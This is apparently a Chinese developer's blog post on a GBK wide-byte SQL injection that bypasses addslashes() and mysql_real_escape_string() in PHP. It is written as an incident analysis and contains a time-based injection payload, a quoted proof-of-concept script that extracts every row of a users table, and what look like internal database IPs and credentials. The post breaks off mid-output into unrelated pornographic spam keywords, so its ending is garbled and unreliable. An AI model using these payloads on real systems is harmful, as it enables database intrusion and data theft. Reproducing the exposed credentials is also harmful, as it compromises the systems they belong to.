在上次活動開發過程中，有個程序寫了下面這樣的語句：
$sName = $_GET['name'];
$sName = addslashes($sName);
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";
var_dump($sql);
exit();
結果掃描工具一掃描，發現問題來了，被掃除了SQL注入漏洞，而且還引發了整個數據表被鎖住（備注：見第二部分）
檢查安全中心掃描日志發現：
當SQL輸入為：
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的時候引發了SQL注入。
//這里輸出：
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿///' or sleep(10.10)=0 limit 1#%';"
根本原因是addslash對于字符%BF%27的漏洞。
該漏洞最早2006年被國外用來討論數據庫字符集設為GBK時，0xbf27本身不是一個有效的GBK字符，但經過 addslashes() 轉換后變為0xbf5c27，前面的0xbf5c是個有效的GBK字符，所以0xbf5c27會被當作一個字符0xbf5c和一個單引號來處理，結果漏洞就觸發了。
mysql_real_escape_string() 也存在相同的問題，只不過相比 addslashes() 它考慮到了用什么字符集來處理，因此可以用相應的字符集來處理字符。
在MySQL中有兩種改變默認字符集的方法。
方法一：
改變mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二：
在建立連接時使用
CODE:
SET CHARACTER SET 'GBK'
例：mysql_query("SET CHARACTER SET 'gbk'", $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);
問題是方法二在改變字符集時mysql_real_escape_string() 并不知道而使用默認字符集處理從而造成和 addslashes() 一樣的漏洞（備注：這句話是摘抄的，我也沒看懂）
網絡上查詢到有人說：
當mysql_real_escape_string檢測到的編碼方式跟client設置的編碼方式(big5/bgk)不一致時，mysql_real_escape_string跟addslashes是沒有區別的
比如
[client]
default-character-set=latin1
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);
這種情況下mysql_real_escape_string 是基于 latin1工作的，是不安全的
[client]
default-character-set=gbk
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);
這種情況下，mysql_real_escape_string 基于 gbk 工作，是正常的
但是，這里我108、153上驗證的都不成功：
用12機器的php文件在108機器mysql上，查詢到
在153鏈接測試環境CDB結點：
執行來自：
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測試代碼
<?php
//$c = mysql_connect("localhost", "user", "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);
//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
發現：都存在漏洞
縱觀以上兩種觸發漏洞的關鍵是addslashes()、mysql_real_escape_string()在Mysql配置為GBK時就可以觸發漏洞，
另外：mysql_real_escape_string在執行前，必須正確連接到Mysql才有效。
又有，上面產生漏洞的原因主是有GBK的特殊字符所引起的，因而，我們需要在進行addslashes或者mysql_real_escape之前，對輸入字符串進行特殊處理一下。
$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);
Iconv這種方式比較粗暴，對于不能識別的特殊字符之后的語句在153機器上會截斷不能識別的字符后面的內容：
如下：
string(32) "41国产激情自拍_国产9色视频_丁香花在线电影小说观看
_久久久久国产精品嫩草影院